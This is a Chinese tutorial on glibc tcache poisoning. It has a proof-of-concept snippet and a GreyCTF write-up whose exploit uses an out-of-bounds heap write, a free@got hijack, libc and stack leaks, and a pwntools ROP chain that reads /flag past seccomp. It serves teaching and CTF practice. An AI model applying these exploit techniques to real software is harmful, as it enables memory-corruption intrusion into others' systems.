一文带你理解tcache缓存投毒
字数 1482 2025-08-25 22:59:02

Tcache缓存投毒技术深入解析

1. Tcache基础概念

1.1 Tcache简介

Tcache(Thread Cache)是glibc从2.26版本开始引入的特性,旨在提升内存分配性能:

  • 每个线程有自己的缓存,减少线程间互斥和锁竞争
  • 默认情况下,大小≤1032字节(0x408)的chunk会被放入tcache
  • 每个bin默认可存放7个chunk

1.2 Tcache分配与释放机制

  • 分配(malloc):优先检查tcache是否有可用chunk,有则直接返回
  • 释放(free):如果chunk大小符合且对应tcache bin未满,放入tcache;否则放入unsorted bin或其他bin

1.3 Tcache数据结构

typedef struct tcache_entry {
    struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct {
    char counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
  • tcache_perthread_struct:每个线程一个,包含所有tcache入口
  • counts数组:记录每个tcache链的chunk数量
  • entries数组:每个元素是单向链表头节点,下标对应chunk大小((i+1)*16)

内存布局示例:

+----+    +------+    +------+
| 0 | -> | chunk | -> | chunk | -> NULL
+----+    +------+    +------+
| 1 | -> NULL
+----+
| 2 | -> | chunk | -> NULL
+----+    +------+
| .. |
+----+
| n | -> | chunk | -> | chunk | -> | chunk | -> NULL
+----+    +------+    +------+    +------+

2. Tcache Poisoning原理

2.1 基本攻击思路

核心代码示例:

size_t stack_var; // 目标地址
intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

b[0] = (intptr_t)&stack_var; // tcache poisoning!

intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c); // 获得栈地址读写控制权

2.2 关键步骤分析

  1. 初始状态

    • 分配两个chunk(a和b)
    • 依次释放,进入tcache管理(LIFO顺序)
  2. 内存布局变化

    tcache_entry[7](2): 0x555555559330 -> 0x5555555592a0
    
  3. 修改指针

    • 通过b[0]修改tcache链表中下一个chunk指针
    • 修改后布局:
      tcache_entry[7](2): 0x555555559330 -> 0x7fffffffe508
      
  4. 分配利用

    • 第一次malloc获得b chunk
    • 第二次malloc获得伪造的栈地址chunk

2.3 源码层面分析

关键函数:

static void *tcache_get(size_t tc_idx) {
    tcache_entry *e = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e->next;
    --(tcache->counts[tc_idx]);
    return (void *)e;
}

static void tcache_put(mchunkptr chunk, size_t tc_idx) {
    tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
    e->next = tcache->entries[tc_idx]; // 头插法
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
}

关键点:

  • chunk2mem将chunk指针后移指向用户数据区
  • 用户数据前8字节被当作next指针
  • 直接修改next指针可实现任意地址写

3. 实战案例分析:GreyCTF题目

3.1 题目分析

程序功能

  1. 输入作者签名
  2. 设置seccomp(限制系统调用)
  3. 提供书籍管理功能:
    • 添加书籍(最多10本)
    • 编辑书籍
    • 删除书籍

漏洞点

  • write_book:书籍大小计算为输入长度+0x10,但存储时不减0x10
  • rewrite_book:使用完整size读取数据,导致OOB写入

3.2 利用思路

  1. 准备阶段

    • 分配4个chunk:
      • chunk1:泄露heap base + OOB覆盖chunk2
      • chunk2:修改chunk3的next指针
      • chunk3:通过next指针获得可写内存
      • chunk4:填充0x40 tcache
  2. 实施步骤

    • 通过OOB修改chunk2大小实现overlap
    • 释放chunk4填充tcache
    • 修改chunk2内容覆盖chunk3的next指针
    • 泄漏libc基地址
  3. 绕过seccomp

    • 劫持free@got为puts泄漏信息
    • 通过environ泄漏栈地址
    • 构造ROP链实现文件操作

3.3 关键EXP代码

# 修改books结构实现任意地址写
edit(1, pwn.flat([
    0xff,                # size
    exe.sym.stdout,       # target
    0x8,                 # size
    exe.got.free,        # target
    0x8,                 # size
    exe.sym.secret_msg,  # target
    0xff,                # size
    exe.sym.books        # target
] + [0]*0x60, filler=b"\x00"))

# 劫持free@got为puts
edit(2, b"".join([pwn.p64(exe.sym.puts)]))

# 泄漏栈地址
edit(4, pwn.flat([
    0xff,                # size
    libc.sym.environ     # target
], filler=b"\x00"))

# 构造ROP链
rop = pwn.ROP(libc, base=stackframe_rewrite)
rop(rax=pwn.constants.SYS_open, 
    rdi=stackframe_rewrite+0xde+2, 
    rsi=pwn.constants.O_RDONLY)
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, 
    rdi=3, 
    rsi=heap_leak, 
    rdx=0x100)
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, 
    rdi=1, 
    rsi=heap_leak, 
    rdx=0x100)
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

4. 防御措施

  1. GLIBC防护

    • 2.29版本引入tcache_key机制
    • 增加对tcache_entry->next的完整性检查
  2. 开发建议

    • 严格校验内存操作边界
    • 及时更新GLIBC版本
    • 使用安全的内存管理函数
  3. 检测方法

    • 监控异常的内存地址分配
    • 检查tcache链表的完整性

5. 总结

Tcache Poisoning是一种高效的堆利用技术,相比fastbin利用更简单直接。关键点在于:

  1. 理解tcache的单链表结构
  2. 控制tcache_entry的next指针
  3. 通过精心构造的内存布局实现任意地址写

防御此类攻击需要结合系统级防护和代码级安全实践。

Tcache缓存投毒技术深入解析 1. Tcache基础概念 1.1 Tcache简介 Tcache(Thread Cache)是glibc从2.26版本开始引入的特性,旨在提升内存分配性能: 每个线程有自己的缓存,减少线程间互斥和锁竞争 默认情况下,大小≤1032字节(0x408)的chunk会被放入tcache 每个bin默认可存放7个chunk 1.2 Tcache分配与释放机制 分配(malloc) :优先检查tcache是否有可用chunk,有则直接返回 释放(free) :如果chunk大小符合且对应tcache bin未满,放入tcache;否则放入unsorted bin或其他bin 1.3 Tcache数据结构 tcache_perthread_struct :每个线程一个,包含所有tcache入口 counts 数组:记录每个tcache链的chunk数量 entries 数组:每个元素是单向链表头节点,下标对应chunk大小((i+1)* 16) 内存布局示例: 2. Tcache Poisoning原理 2.1 基本攻击思路 核心代码示例: 2.2 关键步骤分析 初始状态 : 分配两个chunk(a和b) 依次释放,进入tcache管理(LIFO顺序) 内存布局变化 : 修改指针 : 通过b[ 0 ]修改tcache链表中下一个chunk指针 修改后布局: 分配利用 : 第一次malloc获得b chunk 第二次malloc获得伪造的栈地址chunk 2.3 源码层面分析 关键函数: 关键点: chunk2mem 将chunk指针后移指向用户数据区 用户数据前8字节被当作 next 指针 直接修改 next 指针可实现任意地址写 3. 实战案例分析:GreyCTF题目 3.1 题目分析 程序功能 : 输入作者签名 设置seccomp(限制系统调用) 提供书籍管理功能: 添加书籍(最多10本) 编辑书籍 删除书籍 漏洞点 : write_book :书籍大小计算为输入长度+0x10,但存储时不减0x10 rewrite_book :使用完整size读取数据,导致OOB写入 3.2 利用思路 准备阶段 : 分配4个chunk: chunk1:泄露heap base + OOB覆盖chunk2 chunk2:修改chunk3的next指针 chunk3:通过next指针获得可写内存 chunk4:填充0x40 tcache 实施步骤 : 通过OOB修改chunk2大小实现overlap 释放chunk4填充tcache 修改chunk2内容覆盖chunk3的next指针 泄漏libc基地址 绕过seccomp : 劫持free@got为puts泄漏信息 通过environ泄漏栈地址 构造ROP链实现文件操作 3.3 关键EXP代码 4. 防御措施 GLIBC防护 : 2.29版本引入tcache_ key机制 增加对tcache_ entry->next的完整性检查 开发建议 : 严格校验内存操作边界 及时更新GLIBC版本 使用安全的内存管理函数 检测方法 : 监控异常的内存地址分配 检查tcache链表的完整性 5. 总结 Tcache Poisoning是一种高效的堆利用技术,相比fastbin利用更简单直接。关键点在于: 理解tcache的单链表结构 控制tcache_ entry的next指针 通过精心构造的内存布局实现任意地址写 防御此类攻击需要结合系统级防护和代码级安全实践。